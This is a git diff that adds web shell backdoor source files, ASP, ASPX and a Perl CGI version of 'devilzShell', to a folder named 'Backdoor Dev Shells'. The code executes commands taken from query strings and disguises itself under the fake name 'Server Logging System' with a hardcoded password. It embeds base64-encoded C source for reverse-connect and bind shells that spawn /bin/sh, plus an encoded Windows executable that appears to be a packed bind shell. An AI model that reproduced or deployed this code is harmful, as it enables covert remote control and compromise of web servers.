+ Else
+ bportC = shell_fav_port
+ End If
+ If(Request.QueryString("lportC") <> "") Then
+ lportC = Request.QueryString("lportC")
+ Else
+ lportC = shell_fav_port
+ End If
+ html_title = shell_title & " " & xCwd
+ html_head = "" &_
+"" & html_title & " " &_
+" " &_
+"" & shell_style & "" &_
+""
+html_body = "" &_
+"" &_
+"
" &_
+"
" & xHeader & "" &_
+"
" &_
+xdrive() & xparsedir(xCwd) &_
+"
" &_
+"" &_
+"
" &_
+"" &_
+"
" &_
+"
" &_
+"" &_
+" " &_
+"
" &_
+"" &_
+"
" &_
+"" &_
+"
" &_
+"" &_
+"
" &_
+"
" &_
+"" &_
+" " &_
+"
" &_
+"" &_
+"
" &_
+"" &_
+"
" &_
+"" &_
+"
" &_
+"
" &_
+"" &_
+"
" &_
+"" & result & "" &_
+"
"
+Else
+ html_title = shell_fake_name
+ html_head = "" & html_title & " " & shell_style
+ html_body = "" &_
+""
+End If
+If Not Uploaded Then
+ If((Request.QueryString("cmd") <> "") Or (Request.Form("passw") <> "")) Then
+ html_onload = "onload=""document.getElementById('cmd').focus();"""
+ Else
+ html_onload = ""
+ End If
+End If
+html_final = "" &_
+"" &_
+"" &_
+"" & html_head & "" &_
+"" &_
+"" &_
+"" &_
+"" & html_body & "" &_
+"
" &_
+"" &_
+""
+Response.BinaryWrite(html_final)
+%>
\ No newline at end of file
diff --git a/Backdoor Dev Shells/Source/devilzShell.aspx b/Backdoor Dev Shells/Source/devilzShell.aspx
new file mode 100644
index 0000000..b342cdb
--- /dev/null
+++ b/Backdoor Dev Shells/Source/devilzShell.aspx
@@ -0,0 +1,1244 @@
+<%
+'#
+'# devilzShell <[aspx]>
+'# ^^^^^^^^^^^^
+'# author: b374k
+'# greets: devilzc0der(s) and all of you who love peace and freedom
+'#
+'#
+'# ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
+'# Jayalah Indonesiaku
+%>
+
+
+<%@ Page Language="VB" Debug="true" trace="false" validateRequest="false" EnableViewStateMac="false" EnableViewState="true"%>
+<%@ import Namespace="System.IO"%>
+<%@ import Namespace="System.Diagnostics"%>
+<%@ import Namespace="Microsoft.Win32"%>
+<%@ import Namespace="System.Net.Sockets" %>
+<%@ import Namespace="System.Net" %>
+<%@ import Namespace="System.Runtime.InteropServices"%>
+<%@ import Namespace="System.Text.RegularExpressions"%>
+<%@ Import Namespace="System.Threading"%>
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/Backdoor Dev Shells/Source/devilzShell.cgi b/Backdoor Dev Shells/Source/devilzShell.cgi
new file mode 100644
index 0000000..23d00cc
--- /dev/null
+++ b/Backdoor Dev Shells/Source/devilzShell.cgi
@@ -0,0 +1,1429 @@
+#!/usr/bin/perl
+##
+## devilzShell <[cgi]>
+## ^^^^^^^^^^^^
+## author: b374k
+## greets: devilzc0der(s) and all of you who love peace and freedom
+##
+##
+## ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
+## Jayalah Indonesiaku
+
+
+################## VARIABLES GOES HERE #######################=============================================]
+$shell_name = "devilzShell";
+$shell_fake_name = "Server Logging System";
+$shell_title = " :: ".$shell_name." ::";
+$shell_version = "v1";
+$shell_password = "devilzc0der";
+$shell_fav_port = "12345";
+$shell_color = "#374374";
+
+# server software
+$xSoftware = &trim($ENV{"SERVER_SOFTWARE"});
+# uname -a
+$xSystem = &trim($^O);
+# server ip
+$xServerIP = &trim($ENV{"SERVER_ADDR"});
+# your ip ;-)
+$xClientIP = &trim($ENV{'REMOTE_ADDR'});
+
+$xHeader = $xSoftware." ".$xSystem." Server IP: [ ".$xServerIP." ] Your IP: [ ".$xClientIP." ] ";
+
+$base64_alphabet = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/';
+$base64_pad = '=';
+$uuencode_alphabet = q|`!"#$%&'()*+,-./0123456789:;<=>?|.'@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_';
+$uuencode_pad = '`';
+$tr_uuencode = " ".$uuencode_alphabet;
+$tr_uuencode =~ s/(\W)/\\$1/g;
+$tr_base64 = "A".$base64_alphabet;
+$tr_base64 =~ s/(\W)/\\$1/g;
+################# RESOURCES GOES HERE #######################=============================================]
+$icon = "iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAB/klEQVR42o2RS2gUQRCGq7rHB0rw
+4miwFWVmPSmIHpaQSwQD4ivGKHsImIOyBhJETUDjRaMIEjTk4gNFIutBwScY8eBh9aBgyCGCiKu4
+E4kzBk0uimiI21XWwgbMorOppumuKuqr6r8RZmnjxl8iR0H2DzfKT03HsVLhV+Ove4rc8xk4uYtx
+dCHgGQHc/SdAuqwZB9jCAE7RnwLGR8hHbiK5/aQzCcC0FP/+u2YG4KPx2+p14SKVTbFIiPdI7/ei
+oL98whmAt8bv3O7Y89sIv29kzOpSvENR41lSD1Jh0BQLeGf8jq3a9nayetX2KVhfeta8Gm0nuwgH
+0+FITSxgzPgtm3Qhs5qR+kgfqwIYGgVuTmk60EPq/p4w2B0LkG5+l7I5Ud3BUsoBBlc0uEVOakWU
+vxMLKNqA8V4c0rZWyZ0lzbI2M9rTpNfKD+RiAV+MX9eiCs9+yV2ecLkacPgaUvcNxcuuWHW9Pgr2
+xQJeGu9Us7YnjpMaFsE2FGOh8dN12l49SjjUGo4kYwE54x3eqW3fXlJjrawSMvLPN8brbtB08hyp
+gaYwaIgFTJjE0l5l3wfAVRdIN4qQT8T/dht5btbq9pVR/lJFEUWHWhF9fnWUzxb9x8u9hwcV7ZjO
+D1rHXRx9mPgvoNxkqjmTwKnXyMlVgAtcxucCyMwaUMn+AMvLzBHNivq3AAAAAElFTkSuQmCC";
+$bg = "iVBORw0KGgoAAAANSUhEUgAAAAMAAAADCAYAAABWKLW/AAAAJklEQVR42mNkAAIpKan/b968YWAE
+MZ49ewamGdnY2P6LiIgwgAQA8xYNYheotNcAAAAASUVORK5CYII=";
+$xBack ="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5l
+dGluZXQvaW4uaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZk
+Ow0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47IA0KIGRhZW1vbigxLDApOw0KIHNpbi5zaW5fZmFt
+aWx5ID0gQUZfSU5FVDsNCiBzaW4uc2luX3BvcnQgPSBodG9ucyhhdG9pKGFyZ3ZbMV0pKTsNCiBz
+aW4uc2luX2FkZHIuc19hZGRyID0gaW5ldF9hZGRyKGFyZ3ZbMl0pOyANCiBiemVybyhhcmd2WzJd
+LHN0cmxlbihhcmd2WzJdKSsxK3N0cmxlbihhcmd2WzFdKSk7IA0KIGZkID0gc29ja2V0KEFGX0lO
+RVQsIFNPQ0tfU1RSRUFNLCBJUFBST1RPX1RDUCkgOyANCiBpZiAoKGNvbm5lY3QoZmQsIChzdHJ1
+Y3Qgc29ja2FkZHIgKikgJnNpbiwgc2l6ZW9mKHN0cnVjdCBzb2NrYWRkcikpKTwwKSB7DQogICBw
+ZXJyb3IoIlstXSBjb25uZWN0KCkiKTsNCiAgIGV4aXQoMCk7DQogfQ0KIGR1cDIoZmQsIDApOw0K
+IGR1cDIoZmQsIDEpOw0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2giLChjaGFy
+ICopMCk7IA0KIGNsb3NlKGZkKTsgDQp9";
+$xBind = "I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8c3lzL3R5
+cGVzLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4N
+CiNpbmNsdWRlIDxlcnJuby5oPg0KaW50IG1haW4oYXJnYyxhcmd2KQ0KaW50IGFyZ2M7DQpjaGFy
+ICoqYXJndjsNCnsgIA0KIGludCBzb2NrZmQsIG5ld2ZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBy
+ZW1vdGU7DQogaWYoZm9yaygpID09IDApIHsgDQogcmVtb3RlLnNpbl9mYW1pbHkgPSBBRl9JTkVU
+Ow0KIHJlbW90ZS5zaW5fcG9ydCA9IGh0b25zKGF0b2koYXJndlsxXSkpOw0KIHJlbW90ZS5zaW5f
+YWRkci5zX2FkZHIgPSBodG9ubChJTkFERFJfQU5ZKTsgDQogc29ja2ZkID0gc29ja2V0KEFGX0lO
+RVQsU09DS19TVFJFQU0sMCk7DQogaWYoIXNvY2tmZCkgcGVycm9yKCJzb2NrZXQgZXJyb3IiKTsN
+CiBiaW5kKHNvY2tmZCwgKHN0cnVjdCBzb2NrYWRkciAqKSZyZW1vdGUsIDB4MTApOw0KIGxpc3Rl
+bihzb2NrZmQsIDUpOw0KIHdoaWxlKDEpDQogIHsNCiAgIG5ld2ZkPWFjY2VwdChzb2NrZmQsMCww
+KTsNCiAgIGR1cDIobmV3ZmQsMCk7DQogICBkdXAyKG5ld2ZkLDEpOw0KICAgZHVwMihuZXdmZCwy
+KTsgICANCiAgIGV4ZWNsKCIvYmluL3NoIiwic2giLChjaGFyICopMCk7IA0KICAgY2xvc2UobmV3
+ZmQpOw0KICB9DQogfQ0KfQ0KaW50IGNocGFzcyhjaGFyICpiYXNlLCBjaGFyICplbnRlcmVkKSB7
+DQppbnQgaTsNCmZvcihpPTA7aTxzdHJsZW4oZW50ZXJlZCk7aSsrKSANCnsNCmlmKGVudGVyZWRb
+aV0gPT0gJ1xuJykNCmVudGVyZWRbaV0gPSAnXDAnOyANCmlmKGVudGVyZWRbaV0gPT0gJ1xyJykN
+CmVudGVyZWRbaV0gPSAnXDAnOw0KfQ0KaWYgKCFzdHJjbXAoYmFzZSxlbnRlcmVkKSkNCnJldHVy
+biAwOw0KfQ==";
+$wBind="TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+AAAAyAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v
+ZGUuDQ0KJAAAAAAAAAA0GAk5cHlnanB5Z2pweWdqmGZsanF5Z2rzZWlqenlnanB5ZmpNeWdqEmZ0
+and5Z2qYZm1qanlnalJpY2hweWdqAAAAAAAAAABQRQAATAEDAIkLlD8AAAAAAAAAAOAADwELAQYA
+ADAAAAAQAAAAQAAAYHIAAABQAAAAgAAAAABAAAAQAAAAAgAABAAAAAAAAAAEAAAAAAAAAACQAAAA
+EAAAAAAAAAIAAAAAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAACAAAAIAQAAAAAAAAAA
+AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFVQWDAAAAAA
+AEAAAAAQAAAAAAAAAAQAAAAAAAAAAAAAAAAAAIAAAOBVUFgxAAAAAAAwAAAAUAAAACQAAAAEAAAA
+AAAAAAAAAAAAAABAAADgVVBYMgAAAAAAEAAAAIAAAAACAAAAKAAAAAAAAAAAAAAAAAAAQAAAwAAA
+AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+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
